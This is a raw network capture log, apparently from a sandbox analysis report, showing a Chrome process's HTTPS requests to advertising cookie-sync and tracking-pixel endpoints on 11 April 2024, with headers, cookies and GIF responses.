Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.17	50424	54.198.187.94	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	707	OUT	GET /api/v1/dsync/Martin?exid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent= HTTP/1.1 Host: crb.kargo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ktcid=12d186d5-c065-0a8a-5399-4c540288d0a1
2024-04-11 21:27:06 UTC	456	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, must-revalidate, private, max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Set-Cookie: ktcid=12d186d5-c065-0a8a-5399-4c540288d0a1; Path=/; Domain=kargo.com; Expires=Fri, 11 Apr 2025 21:27:06 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None Vary: Origin X-Accel-Expires: 0
2024-04-11 21:27:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.17	50371	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	669	OUT	GET /usersync?b=mag&i=LUVR2A3B-N-5ZEP HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:06 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:06 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.17	50407	54.160.182.222	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	1281	OUT	GET /sync?nid=268 HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sa-user-id=s%3A0-b894bcc3-3b2f-50d3-402d-2b181c031c60.IqX9DPWbYeM51NyfkMcjjPPpKCEvMvvZ80%2F%2FBH8jmOg; sa-user-id=s%3A0-b894bcc3-3b2f-50d3-402d-2b181c031c60.IqX9DPWbYeM51NyfkMcjjPPpKCEvMvvZ80%2F%2FBH8jmOg; sa-user-id-v2=s%3AuJS8wzsvUNNALSsYHAMcYJySJMU.OEN4PZJfBCnNYtDFpqyeG12oeM4B4YyI34OvKrv3ZaE; sa-user-id-v2=s%3AuJS8wzsvUNNALSsYHAMcYJySJMU.OEN4PZJfBCnNYtDFpqyeG12oeM4B4YyI34OvKrv3ZaE; sa-user-id-v3=s%3AAQAKIFj8IrAFxc9JF5p99v-qPVGDNL9R0rGaVsC-1Ad4XS0GEHwYBCCkq-GwBjABOgT87-jmQgRiGLKP.YtACDgvMQsIU0b%2FozJQ8M9muxDUY7dXQvzi65ez2FbA; sa-user-id-v3=s%3AAQAKIFj8IrAFxc9JF5p99v-qPVGDNL9R0rGaVsC-1Ad4XS0GEHwYBCCkq-GwBjABOgT87-jmQgRiGLKP.YtACDgvMQsIU0b%2FozJQ8M9muxDUY7dXQvzi65ez2FbA
2024-04-11 21:27:07 UTC	227	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Thu, 11 Apr 2024 21:27:06 GMT Location: https://us-u.openx.net/w/1.0/sd?id=537082476&val=uJS8wzsvUNNALSsYHAMcYJySJMU Content-Length: 103 Connection: Close
2024-04-11 21:27:07 UTC	103	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 38 32 34 37 36 26 61 6d 70 3b 76 61 6c 3d 75 4a 53 38 77 7a 73 76 55 4e 4e 41 4c 53 73 59 48 41 4d 63 59 4a 79 53 4a 4d 55 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://us-u.openx.net/w/1.0/sd?id=537082476&val=uJS8wzsvUNNALSsYHAMcYJySJMU">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.17	50419	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	828	OUT	GET /w/1.0/sd?id=540245193&val=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870823933947
2024-04-11 21:27:06 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.17	50388	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	1017	OUT	GET /idsync/ex/receive?partner_id=3205&partner_device_id=4a756380-b7e0-40d8-87fd-f9b0074cc705&partner_url=https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D393%26user_id%3D0%26ssp%3Dpubmatic%26bsw_param%3D4a756380-b7e0-40d8-87fd-f9b0074cc705 HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1712870811726; TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0; TapAd_3WAY_SYNCS=1!2469
2024-04-11 21:27:07 UTC	1463	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:06 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1712870811726;Expires=Mon, 10 Jun 2024 21:27:06 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0;Expires=Mon, 10 Jun 2024 21:27:06 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=1!2469;Expires=Mon, 10 Jun 2024 21:27:06 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Location: https://secure.adnxs.com/getuid?https%3A%2F%2Fpixel.tapad.com%2Fidsync%2Fex%2Freceive%3Fpartner_id%3DAPPNEXUS%26partner_device_id%3D%24UID%26pt%3Df873d799-987f-45f5-8689-9e999756dca0%252Chttps%25253A%25252F%25252Fx.bidswitch.net%25252Fsync%25253Fdsp_id%25253D393%252526user_id%25253D0%252526ssp%25253Dpubmatic%252526bsw_param%25253D4a756380-b7e0-40d8-87fd-f9b0074cc705%252C Content-Length: 0 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
549	192.168.2.17	50405	3.211.252.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	1155	OUT	GET /pixel.gif HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:06 UTC	305	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: image/gif Content-Length: 1561 Connection: close Vary: Origin Access-Control-Allow-Credentials: true Cache-Control: no-cache, private Accept-Ranges: bytes Last-Modified: Thu, 11 Apr 2024 14:26:15 GMT ETag: W/"619-18ecd8d5358"
2024-04-11 21:27:06 UTC	1561	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 ff 00 00 00 00 00 00 00 33 00 00 66 00 00 99 00 00 cc 00 00 ff 00 33 00 00 33 33 00 33 66 00 33 99 00 33 cc 00 33 ff 00 66 00 00 66 33 00 66 66 00 66 99 00 66 cc 00 66 ff 00 99 00 00 99 33 00 99 66 00 99 99 00 99 cc 00 99 ff 00 cc 00 00 cc 33 00 cc 66 00 cc 99 00 cc cc 00 cc ff 00 ff 00 00 ff 33 00 ff 66 00 ff 99 00 ff cc 00 ff ff 33 00 00 33 00 33 33 00 66 33 00 99 33 00 cc 33 00 ff 33 33 00 33 33 33 33 33 66 33 33 99 33 33 cc 33 33 ff 33 66 00 33 66 33 33 66 66 33 66 99 33 66 cc 33 66 ff 33 99 00 33 99 33 33 99 66 33 99 99 33 99 cc 33 99 ff 33 cc 00 33 cc 33 33 cc 66 33 cc 99 33 cc cc 33 cc ff 33 ff 00 33 ff 33 33 ff 66 33 ff 99 33 ff cc 33 ff ff 66 00 00 66 00 33 66 00 66 66 00 99 66 00 cc 66 00 ff 66 33 00 66 33 33 66 33 Data Ascii: GIF89a3f3333f333ff3fffff3f3f3f3333f3333333333f3333333f3f33ff3f3f3f3333f3333333f3333333f333ff3ffffff3f33f3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
550	192.168.2.17	50386	54.159.170.51	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	728	OUT	GET /d/sync/cookie/generic?https://us-u.openx.net/w/1.0/sd?id=537073028&val=${ADELPHIC_CUID} HTTP/1.1 Host: sync.ipredictive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cu=d3c52a71-4626-42f8-b765-7c4caff9dd34\|1712870820698
2024-04-11 21:27:06 UTC	464	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Thu, 11 Apr 2024 21:27:06 GMT Location: https://us-u.openx.net/w/1.0/sd?id=537073028&val=d3c52a71-4626-42f8-b765-7c4caff9dd34 Set-Cookie: cu=d3c52a71-4626-42f8-b765-7c4caff9dd34\|1712870820698; Path=/; Domain=ipredictive.com; Expires=Fri, 11 Apr 2025 21:27:06 GMT; Max-Age=31536000; SameSite=None; Secure X-CI-RTID: 5bdc7ca1-1c6a-4d52-8d71-eeda37c2c571 Content-Length: 112 Connection: Close
2024-04-11 21:27:06 UTC	112	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 33 30 32 38 26 61 6d 70 3b 76 61 6c 3d 64 33 63 35 32 61 37 31 2d 34 36 32 36 2d 34 32 66 38 2d 62 37 36 35 2d 37 63 34 63 61 66 66 39 64 64 33 34 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://us-u.openx.net/w/1.0/sd?id=537073028&val=d3c52a71-4626-42f8-b765-7c4caff9dd34">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.17	50437	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	2003	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=uJS8wzsvUNNALSsYHAMcYJySJMU&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; chkChromeAb67Sec=2; SPugT=1712870823; pi=0:4; DPSync3=1714003200%3A261_260_259_201_263_262%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713657600%3A63%7C1714003200%3A48_233_71_220_13_54_231_22_178_8_104_5_55_250_21_166_3_165%7C1713398400%3A15_2_223; PugT=1712870823
2024-04-11 21:27:07 UTC	709	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_860=16335-uJS8wzsvUNNALSsYHAMcYJySJMU&KRTB&23334-uJS8wzsvUNNALSsYHAMcYJySJMU&KRTB&23417-uJS8wzsvUNNALSsYHAMcYJySJMU&KRTB&23426-uJS8wzsvUNNALSsYHAMcYJySJMU; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 10-Jul-2024 21:27:05 GMT; path=/ Set-Cookie: PugT=1712870825; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:05 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:07 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.17	50392	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	2001	OUT	GET /AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=Gr6DjBm904wB7YONGLmfhh7r1IYBvoDXSen4KhqW HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; chkChromeAb67Sec=2; SPugT=1712870823; pi=0:4; DPSync3=1714003200%3A261_260_259_201_263_262%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713657600%3A63%7C1714003200%3A48_233_71_220_13_54_231_22_178_8_104_5_55_250_21_166_3_165%7C1713398400%3A15_2_223; PugT=1712870823
2024-04-11 21:27:07 UTC	760	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_153=1923-Gr6DjBm904wB7YONGLmfhh7r1IYBvoDXSen4KhqW&KRTB&19420-Gr6DjBm904wB7YONGLmfhh7r1IYBvoDXSen4KhqW&KRTB&22979-Gr6DjBm904wB7YONGLmfhh7r1IYBvoDXSen4KhqW&KRTB&23462-Gr6DjBm904wB7YONGLmfhh7r1IYBvoDXSen4KhqW; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 10-Jul-2024 21:27:06 GMT; path=/ Set-Cookie: PugT=1712870826; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:06 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:07 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.17	50380	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:06 UTC	2061	OUT	GET /AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=239cb25a-cfc7-4eef-9e77-08cbf9cb201b&r=https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=${PUBMATIC_UID} HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; chkChromeAb67Sec=2; SPugT=1712870823; pi=0:4; DPSync3=1714003200%3A261_260_259_201_263_262%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713657600%3A63%7C1714003200%3A48_233_71_220_13_54_231_22_178_8_104_5_55_250_21_166_3_165%7C1713398400%3A15_2_223; PugT=1712870823
